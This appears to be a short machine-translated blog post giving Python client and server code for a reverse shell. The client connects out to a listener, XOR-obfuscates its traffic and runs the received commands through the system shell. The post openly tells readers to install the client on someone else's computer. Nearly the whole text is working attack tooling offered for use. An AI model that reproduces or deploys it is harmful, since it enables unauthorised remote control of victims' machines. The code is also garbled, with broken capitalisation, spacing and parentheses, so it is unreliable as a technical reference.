Reverse shell (python) and reverse shellpython
Reverse shell (python)
Client: importsocket, subprocess, sys
RHOST = sys. argv [1]
RPORT = 443
S = socket. socket (socket. AF_INET, socket. SOCK_STREAM)
S. connect (RHOST, RPORT ))
WhileTrue:
Data = s. recv (1024)
En_data = bytearray (data)
For I in range (len (en_data )):
En_data [I] ^ = 0x41
Comm = subprocess. Popen (str (en_data), shell = True, stdout = subprocess. PIPE, stderr = subprocess. PIPE, stdin = subprocess. PIPE)
Comm. wait ()
STDOUT, STDERR = comm. communicate ()
Print STDERR
En_STDOUT = bytearray (STDOUT)
For I in range (len (en_STDOUT )):
En_STDOUT [I] ^ = 0x41
S. send (en_STDOUT) s. close ()
Server: importsocket
S = socket. socket (socket. AF_INET, socket. SOCK_STREAM)
S. bind ("0.0.0.0", 443 ))
S. listen (2048)
Print "Listening on port 443 ..."
(Client, (ip, port) = s. accept ()
Print "recived connection from:", ip
WhileTrue:
Command = raw_input ('~ $ ')
Encode = bytearray (command)
For I in range (len (encode )):
Encode [I] ^ = 0x41
Client. send (encode)
En_data = client. recv (2048)
Decode = bytearray (en_data)
For I in range (len (decode )):
Decode [I] ^ = 0x41
Print decode
Client. close () s. close ()
Install the client on someone else's computer and run the server on your computer to reverse others' shells.
Copyright Disclaimer: This article is an original article by the blogger and cannot be reproduced without the permission of the blogger.